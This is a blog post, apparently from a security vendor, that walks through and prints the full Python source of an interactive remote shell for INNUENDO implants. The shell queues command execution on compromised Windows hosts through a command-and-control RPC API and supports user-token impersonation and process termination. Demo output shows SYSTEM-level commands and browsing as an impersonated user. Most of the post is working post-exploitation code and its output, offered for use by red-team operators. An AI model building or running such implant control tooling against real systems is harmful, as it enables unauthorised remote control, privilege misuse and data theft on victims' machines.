Wednesday, December 14, 2016

INNUENDO RPC: shell

This is the third installment of this series. Here are links for the first and second. For this post we're going to take a look at the implementation of a command shell using INNUENDO's RPC API.

Essentially, what this script does is:

Accepts a command from the user on the terminal.
Queues a filemanager/execute operation in the INNUENDO C2, using the RPC API.
Waits for the operation to complete, and dumps the output to the terminal.

Since the script depends on the execute operation, it is able to take full advantage of capabilities such as user impersonation, allowing you to run the shell as any user on the target system.

Remember as well that thanks to the design of INNUENDO's channels, this shell is resilient to any sort of communication failure. If the web channel were to go down just after entering a command, you would still get the command's output as soon as the implant is able to sync again (maybe over the DNS channel).

Also note that the response time of the command will depend on the active channel of the target implant, and the configured sync_frequency for that channel. So while a command shell is an interesting experiment for how the RPC API can be used, it won't be practical except where sync frequencies are very low (or patience is very high).

Here is a video demonstrating the functionality of this script:



Shell


The script accepts a few command-line arguments.

usage: shell.py [-h] [-c COMMAND] [--no-cache] [--token-user TOKEN_USER]
                [--token-luid TOKEN_LUID] [-p PROMPT] [-u URL]
                process_implant_id

Command-line interface to an INNUENDO implant target shell.

NOTE: The "process_implant_id" argument refers to the hash ID listed for an
implant in the process_list. Not to be confused with the PID.

    $ ./rpc.py process_list
    Machine: <machine_id>
      Node: <node_id>
        <process_implant_id> | synced | ...

positional arguments:
  process_implant_id    the ID of the implant process to target

optional arguments:
  -h, --help            show this help message and exit
  -c COMMAND, --command COMMAND
                        execute a command then exit
  --no-cache            do not use cached data for initialization
  --token-user TOKEN_USER
                        attempt impersonation of a "[domain\]user"
  --token-luid TOKEN_LUID
                        sets a token LUID for impersonation
  -p PROMPT, --prompt PROMPT
                        a windows prompt format string
  -u URL, --url URL     rpc server url

The only thing that is required to use the shell script is a target implant, which we can easily get using the RPC command-line script's process_list command.

$ ./rpc.py process_list 
Machine: 96e41afa2cfbe7b26d3b5c397abb2b8f5198bdb3
 Node: c8aaddbc059b40f4a3f7d61945cb2684
  b850bef0abe4417debc273c640be7e58 | synced | 2016-12-14 13:31:47 | boot64.exe (1572)
 Node: nt authority\system
  de1014f777018dffd21678d2e7a3f5c0 | synced | 2016-12-14 13:31:50 | netclassmon.exe (1864)

Note that the process_implant_id is not just the PID. It's the hash before the sync status. Once we have one, we can pass it to the shell script.

$ python -m examples.rpc.shell de1014f777018dffd21678d2e7a3f5c0
initializing ...
Microsoft Windows [Version 6.1.7601]

C:\Windows\system32> whoami
nt authority\system
C:\Windows\system32> exit

We can even use impersonation to run our shell as a different user.

$ python -m examples.rpc.shell de1014f777018dffd21678d2e7a3f5c0 --token-user immunity
initializing ...
Microsoft Windows [Version 6.1.7601]

C:\Windows\system32> whoami
bunny\immunity

Notice how the shell behaves as you would expect it to when running as the "immunity" user.

C:\Windows\system32> cd c:\users\administrator
Access is denied.
C:\Windows\system32> cd c:\users\immunity
c:\Users\immunity> dir
 Volume in drive C has no label.
 Volume Serial Number is 883B-C53C

 Directory of c:\Users\immunity

12/19/2013  05:11 PM    <DIR>          .
12/19/2013  05:11 PM    <DIR>          ..
12/19/2013  05:11 PM    <DIR>          Contacts
07/13/2016  10:46 AM    <DIR>          Desktop
12/19/2013  05:11 PM    <DIR>          Documents
12/20/2013  12:14 PM    <DIR>          Downloads
12/19/2013  05:11 PM    <DIR>          Favorites
12/19/2013  05:11 PM    <DIR>          Links
12/19/2013  05:11 PM    <DIR>          Music
12/19/2013  05:11 PM    <DIR>          Pictures
12/19/2013  05:11 PM    <DIR>          Saved Games
12/19/2013  05:11 PM    <DIR>          Searches
12/19/2013  05:11 PM    <DIR>          Videos
               0 File(s)              0 bytes
              13 Dir(s)  54,171,832,320 bytes free
c:\Users\immunity>

Source


The full source is at the bottom of the post, but let's step through some of the more interesting bits.

To start, we import the modules that we need and set some global variables. We import the readline module when it's available to give us command history for free.

try:
    import readline
except ImportError:
    pass

We also set some tag names which this script will use to locate specific operation results.

PROMPT = '$p$g$s'
TAG_ENV = 'shell:environment'
TAG_META = 'shell:metadata'

Next, we have our main class. client is the INNUENDO RPC client. proc_id is the ID of the target implant. The other variables track the current state of the shell.

    def repl(self):
        """The Read-Eval-Print Loop."""

        while True:
            prompt = self.parse_prompt()
            oper_id = None
            try:
                line = raw_input(prompt).strip()

                oper_id = self.execute(line, wait=wait)

The setup method queues some operations to pull environment variables and other metadata from the target. First, though, it checks to see if operations that have the required information have already been executed by searching for specific tags.

Checking for an existing operation:

            search = ' '.join([TAG_ENV, token_tag, self.proc_id])
            res = c.operation_list(search=search, limit=1)
            if res['records']:
                oper = res['records'][0]
                self.check_error(oper)
                self.env = c.operation_attributes(oper['id'])['env']

Executing and tagging an operation, if there is no existing operation:

            oper_id = c.operation_execute('recon', 'environment', self.proc_id)[0]
            self.check_error(c.operation_wait(oper_id)[0])

            self.env = c.operation_attributes(oper_id)['env']

            c.operation_tag_add(TAG_ENV, oper_id)
            c.operation_tag_add(token_tag, oper_id)

The execute method simply wraps the entered command so that it is executed in correct directory.

            command = 'cd /D %s && %s' % (self.cwd, command)

It also tags the operation with the command name to make it easy to find the results for certain commands, and to provide context when looking at a list of execute operations.

        tag = ':'.join(['cmd', command.split(None, 1)[0]])

        res = c.operation_execute('filemanager', 'execute', self.proc_id, args=args)
        c.operation_tag_add(tag, res[0])

The remaining methods are helpers.

wait waits for an operation to complete. It also contains the logic for handling "CTRL+C", and terminating any processes that were started by a command.

output collects the stdout and stderr from a command and formats them for output to the terminal.

check_error checks the result of the operation and exits the script if there was an unexpected failure.

kill wraps a call to the manager/terminate operation.

chdir checks if the requested directory exists on the target and stores the path locally. The "current directory" is attached to every command so that it is executed in the correct context.

parse_prompt parses the PROMPT environment variable and does it's best to fill in the appropriate values. You get the same prompt the target system's user has set!

Finally, we have the code that set's up the command-line arguments, connects to INNUENDO with the RPC client, and starts the REPL.

Here is the full source:

#! /usr/bin/env python

"""
Command-line interface to an INNUENDO implant target shell.
"""

import re
import sys
import ntpath
try:
    import readline
except ImportError:
    pass

import rpc

PROMPT = '$p$g$s'
TAG_ENV = 'shell:environment'
TAG_META = 'shell:metadata'

rx_prompt = re.compile(r'[$](.)')

class Shell(object):
    def __init__(self, client, proc_id, token_user=None, token_luid=None, prompt=None):
        self.client = client
        self.proc_id = proc_id
        self.env = None
        self.ver = None
        self.cwd = None
        self.token_user = token_user
        self.token_luid = token_luid
        self.prompt = prompt

    def repl(self):
        """The Read-Eval-Print Loop."""
        c = self.client

        print self.ver
        print

        while True:
            prompt = self.parse_prompt()
            oper_id = None
            try:
                line = raw_input(prompt).strip()
                if not line:
                    continue
                if line.lower() == 'exit':
                    break
                if line.lower().startswith('cd'):
                    try:
                        path = line.split(' ', 1)[1].strip()
                    except IndexError:
                        pass
                    else:
                        self.chdir(path)
                        continue
                wait = line[-1] != '&'

                oper_id = self.execute(line, wait=wait)
                if wait:
                    self.wait(oper_id)
                    print self.output(oper_id)

            except EOFError:
                break
            except KeyboardInterrupt:
                print
                continue

    def setup(self, cached=True):
        """Collect metadata used to format the shell.

        Uses existing operations when *cached* is `True`.
        """
        c = self.client

        # if the luid is set, it takes precedence
        token_tag = ':'.join(['token', self.token_luid or self.token_user or 'none'])

        if cached:
            # check past ops
            search = ' '.join([TAG_META, token_tag, self.proc_id])
            res = c.operation_list(search=search, limit=1)
            if res['records']:
                oper = res['records'][0]
                self.check_error(oper)
                self.ver, self.cwd = self.output(oper['id']).strip().splitlines()

            search = ' '.join([TAG_ENV, token_tag, self.proc_id])
            res = c.operation_list(search=search, limit=1)
            if res['records']:
                oper = res['records'][0]
                self.check_error(oper)
                self.env = c.operation_attributes(oper['id'])['env']

        if not self.cwd:
            oper_id = self.execute('ver && cd')
            self.check_error(self.wait(oper_id))

            self.ver, self.cwd = self.output(oper_id).strip().splitlines()

            c.operation_tag_add(TAG_META, oper_id)
            c.operation_tag_add(token_tag, oper_id)

        if not self.env:
            oper_id = c.operation_execute('recon', 'environment', self.proc_id)[0]
            self.check_error(c.operation_wait(oper_id)[0])

            self.env = c.operation_attributes(oper_id)['env']

            c.operation_tag_add(TAG_ENV, oper_id)
            c.operation_tag_add(token_tag, oper_id)

    def execute(self, command, wait=True):
        """Executes a command on the targets and returns the operation ID."""
        c = self.client

        tag = ':'.join(['cmd', command.split(None, 1)[0]])
        if self.cwd:
            command = 'cd /D %s && %s' % (self.cwd, command)
        args = {
            'path': command,
            'shell': True,
            'output_capture': True,
            }
        if not wait:
            args['output_capture'] = False
            args['wait'] = False
        if self.token_user:
            args['token_domain_user'] = self.token_user
        if self.token_luid:
            args['token_luid'] = self.token_luid

        res = c.operation_execute('filemanager', 'execute', self.proc_id, args=args)
        c.operation_tag_add(tag, res[0])
        return res[0]

    def wait(self, oper_id):
        """Waits for *oper_id* to complete and returns the operation.

        If a `KeyboardInterrupt` is caught while waiting for the operation,
        the operation will be cancelled, and any processes it started will be
        killed.
        """
        c = self.client

        try:
            return c.operation_wait(oper_id)[0]
        except KeyboardInterrupt:
            res = c.operation_attributes(oper_id)
            if res['process_id']:
                print 'killing tree: %(process_id)s' % res
                self.kill(res['process_id'])
            c.operation_cancel(oper_id)
            print
            raise

    def output(self, oper_id):
        """Returns a string containing the stdout and stderr of *oper_id*."""
        c = self.client

        out = []
        attrs = c.operation_attributes(oper_id)

        stdout = attrs['stdout']
        stderr = attrs['stderr']
        if stdout:
            out.append(stdout.rstrip())
        if stderr:
            out.append(stderr.rstrip())

        return '\n'.join(out)

    def check_error(self, oper):
        """Exits the program if *oper* contains an error."""
        if not oper['success']:
            sys.exit('\n'.join([oper['error'], oper['exception']]))

    def kill(self, pid, recurse=True):
        """Kills the process with *pid* on the target."""
        c = self.client
        return c.operation_execute('manager', 'terminate', self.proc_id, args={
            'process_id': pid, 'recurse': recurse,
            })

    def chdir(self, path):
        """Changes the current working directory.

        The target is first checked to verify that *path* is valid.
        """
        c = self.client

        oper_id = self.execute('cd /D %s && cd' % path)
        attrs = c.operation_attributes(oper_id)
        output = self.output(oper_id)

        # set the new cwd if the command succeeded
        if attrs['return_code'] == 0:
            self.cwd = output
        else:
            print output

    def parse_prompt(self):
        """Returns a Windows prompt with codes subtituted with their respective
        values.

        Not supported: $+, $M
        """
        prompt = self.env.get('PROMPT', PROMPT) if self.prompt is None else self.prompt
        result = []
        for match in rx_prompt.finditer(prompt):
            code = match.group(1).lower()
            result.append({
                'a': '&',
                'b': '|',
                'c': '(',
                'd': '<current date>', # TODO
                'e': '\x27',
                'f': ')',
                'g': '>',
                'h': '\b',
                'l': '<',
                'n': ntpath.splitdrive(self.cwd)[0],
                'p': self.cwd,
                'q': '=',
                's': ' ',
                't': '<current time>', # TODO
                'v': self.ver,
                '_': '\n',
                '$': '$',
                }.get(code, ''))
        return ''.join(result)

def main():
    import argparse

    parser = argparse.ArgumentParser(description=__doc__)
    parser.add_argument('process_implant_id')
    parser.add_argument('-c', '--command', help='execute a command then exit')
    parser.add_argument('--no-cache', action='store_false', dest='cached',
        help='do not use cached data for initialization')
    parser.add_argument('--token-user', help='attempt impersonation of a "[domain\]user"')
    parser.add_argument('--token-luid', help='sets a token LUID for impersonation')
    parser.add_argument('-p', '--prompt', help='a windows prompt format string')
    parser.add_argument('-u', '--url', help='rpc server url')

    args = parser.parse_args()
    proc_id = args.process_implant_id

    c = rpc.Client(args.url)

    try:
        c.process_get(proc_id)
    except rpc.RemoteError:
        sys.exit('invalid target process')

    if args.command:
        shell = Shell(c, proc_id, args.token_user, args.token_luid)
        oper_id = shell.execute(args.command)
        shell.check_error(shell.wait(oper_id))
        print shell.output(oper_id)
        return

    print 'initializing ...'
    shell = Shell(c, proc_id, args.token_user, args.token_luid, args.prompt)
    shell.setup(cached=args.cached)

    # Enter REPL
    shell.repl()

if __name__ == '__main__':
    try:
        main()
    except KeyboardInterrupt:
        pass